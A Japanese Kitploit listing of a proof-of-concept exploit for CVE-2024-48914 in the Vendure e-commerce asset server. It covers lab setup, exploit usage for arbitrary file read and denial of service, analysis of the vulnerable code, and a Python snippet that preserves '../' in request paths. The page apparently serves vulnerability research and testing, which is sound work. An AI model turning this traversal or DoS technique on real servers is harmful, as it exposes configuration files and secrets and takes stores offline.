Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-48914 — vendure-ecommerceエクスプロイトにおける任意ファイル読み取りとDoS | Kitploit
ツール/GitHubGitHub/eqstlab/cve-2024-48914
脆弱性分析エクスプロイトウェブアプリケーション悪用データ流出情報収集ペネトレーションテスト
GitHubeqstlab/cve-2024-48914

CVE-2024-48914

vendure-ecommerceエクスプロイトにおける任意ファイル読み取りとDoS

リポジトリを見る
511年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

この投稿は、EQSTLab によって公開されたリサーチ記事です。

この脆弱性を発見した Rajesh Sharma に感謝します。

CVE-2024-48914

★ CVE-2024-48914 任意ファイル読み取りおよびDoS PoC ★

説明

CVE-2024-48914 : vendure-ecommerce 任意ファイル読み取りおよびDoSの脆弱性

説明: Vendureはオープンソースのヘッドレスコマースプラットフォームです。バージョン3.0.5および2.3.3より前のバージョンでは、Vendureのアセットサーバープラグインに脆弱性が存在し、攻撃者が巧妙に細工したリクエストを送信することで、サーバーのファイルシステムをトラバースし、設定ファイル、環境変数、その他サーバーに保存された重要なデータなどの機密情報を含む任意のファイルの内容を取得することが可能です。同じコードパスには、不正なURIによってサーバーをクラッシュさせる追加の攻撃ベクトルも存在します。修正パッチはバージョン3.0.5および2.3.3で提供されています。いくつかの回避策も利用可能です。ローカルファイルシステムの代わりにオブジェクトストレージ(例: MinIOやS3)を使用するか、/../ を含むURLのリクエストを検出してブロックするミドルウェアを定義することができます。

ラボ環境のセットアップ

脆弱性のあるバージョン(v3.0.4)をダウンロード:

トップレベルの依存関係をインストール

root@kitploit:~
npm install

すべてのパッケージをビルド

root@kitploit:~
npm run build

データベースとelasticsearchのセットアップ

docker-compose.yml

root@kitploit:~
# This contains the services required to develop and test Vendure
# locally. It includes multiple SQL databases (for testing specific
# versions), Elasticsearch, Redis etc.
version: '3.7'
name: vendure-monorepo
services:
  mariadb:
    image: 'bitnami/mariadb:latest'
    container_name: mariadb
    environment:
      MARIADB_DATABASE: vendure-dev
      MARIADB_ROOT_USER: vendure
      MARIADB_ROOT_PASSWORD: password
    volumes:
      - 'mariadb_data:/bitnami'
    ports:
      - '3306:3306'
  mysql_8:
    image: bitnami/mysql:8.0
    container_name: mysql-8
    environment:
      MYSQL_AUTHENTICATION_PLUGIN: mysql_native_password
      MYSQL_DATABASE: vendure-dev
      MYSQL_ROOT_USER: vendure
      MYSQL_ROOT_PASSWORD: password
    volumes:
      - 'mysql_data:/bitnami'
    ports:
      - '3306:3306'
  mysql_5:
    image: bitnami/mysql:5.7
    container_name: mysql-5.7
    environment:
      MYSQL_AUTHENTICATION_PLUGIN: mysql_native_password
      MYSQL_DATABASE: vendure-dev
      MYSQL_ROOT_USER: vendure
      MYSQL_ROOT_PASSWORD: password
    volumes:
      - 'mysql_data:/bitnami'
    ports:
      - '3306:3306'
  postgres_12:
    image: postgres:12.3
    container_name: postgres_12
    environment:
      POSTGRES_DB: vendure-dev
      POSTGRES_USER: vendure
      POSTGRES_PASSWORD: password
      PGDATA: /var/lib/postgresql/data
    volumes:
      - postgres_12_data:/var/lib/postgresql/data
    ports:
      - "5432:5432"
    command: postgres -c shared_preload_libraries=pg_stat_statements -c pg_stat_statements.track=all -c pg_stat_statements.max=100000 -c max_connections=200
  postgres_16:
    image: postgres:16
    container_name: postgres_16
    environment:
      POSTGRES_DB: vendure-dev
      POSTGRES_USER: vendure
      POSTGRES_PASSWORD: password
      PGDATA: /var/lib/postgresql/data
    volumes:
      - postgres_16_data:/var/lib/postgresql/data
    ports:
      - "5432:5432"
    command: postgres -c shared_preload_libraries=pg_stat_statements -c pg_stat_statements.track=all -c pg_stat_statements.max=100000 -c max_connections=200
  # This is the Keycloak service which is used
  # to test the Keycloak auth strategy
  keycloak:
    image: quay.io/keycloak/keycloak
    ports:
      - "9000:8080"
    environment:
      KEYCLOAK_ADMIN: admin
      KEYCLOAK_ADMIN_PASSWORD: admin
    command:
      - start-dev
      - --import-realm
    volumes:
      - keycloak_data:/opt/keycloak/data
  elasticsearch:
    image: docker.elastic.co/elasticsearch/elasticsearch:7.10.2
    container_name: elasticsearch
    environment:
      - discovery.type=single-node
      - bootstrap.memory_lock=true
      - "ES_JAVA_OPTS=-Xms512m -Xmx512m"
    ulimits:
      memlock:
        soft: -1
        hard: -1
    volumes:
      - esdata:/usr/share/elasticsearch/data
    ports:
      - 9200:9200
  redis:
    image: bitnami/redis:7.4.1
    hostname: redis
    container_name: redis
    environment:
      - ALLOW_EMPTY_PASSWORD=yes
    ports:
      - "6379:6379"
volumes:
  postgres_16_data:
    driver: local
  postgres_12_data:
    driver: local
  mariadb_data:
    driver: local
  mysql_data:
    driver: local
  keycloak_data:
    driver: local
  esdata:
    driver: local

実行するコマンド

root@kitploit:~
docker-compose up -d mariadb
docker-compose up -d elasticsearch
cd packages/dev-server
npm run populate
npm run start

使用方法

Gitクローン

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-48914.git
cd CVE-2024-48914

パッケージのインストール

root@kitploit:~
pip install -r requirements.txt

コマンド

root@kitploit:~
# Arbitrary File Read (mode 1)
python CVE-2024-48914.py -u <URL_TO_EXPLOIT> -f <FILE_TO_READ> -m 1
# Denial of Service (mode 2)
python CVE-2024-48914.py -u <URL_TO_EXPLOIT> -m 2

出力

CVE-2024-48914.py (任意ファイル読み取り) alt text

CVE-2024-48914.py (DoS攻撃) alt text alt text

分析

vendure/packages/asset-server-plugin/src/plugin.ts

root@kitploit:~
 const decodedReqPath = decodeURIComponent(req.path);
        if (imageParamsString !== '') {
            const imageParamHash = this.md5(imageParamsString);
            return path.join(this.cacheDir, this.addSuffix(decodedReqPath, imageParamHash, imageFormat));
        } else {
            return decodedReqPath;
        }

この脆弱性は、node.jsのパス正規化(path.normalize)を一切実行せずに、decodedReqPathをpath.joinで直接使用していることに起因します。 この脆弱性により、攻撃者はサーバーのファイルシステムをトラバースし、設定ファイル、環境変数、その他サーバーに保存された重要なデータなどの機密情報を含む任意のファイルの内容を取得できるリクエストを作成することが可能になります。

Pythonのヒント

Pythonのrequestsモジュールを使用する場合、「../」はURLパスから除去されます。下記のように「prepared requests」を使用すると、URLパスから「../」が除去されずにpython requestsモジュールを使用できます。

root@kitploit:~
def readFile(self) -> None:
        url = f"{self.url}/assets/../{self.file}"
        s = requests.Session()
        req = requests.Request(method='GET' ,url=url)
        prep = req.prepare()
        prep.url = url
        response = s.send(prep, verify=False)
...

免責事項

このリポジトリは、CVE-2024-48914に対する任意ファイル読み取りまたはDoSエクスプロイトを意図したものではありません。このプロジェクトの目的は、人々がこの脆弱性について学び、場合によっては自身のアプリケーションをテストできるようにすることです。

参照

https://github.com/vendure-ecommerce/vendure/security/advisories/GHSA-r9mq-3c9r-fmjq https://github.com/vendure-ecommerce/vendure/tree/v3.0.4

ツールをダウンロード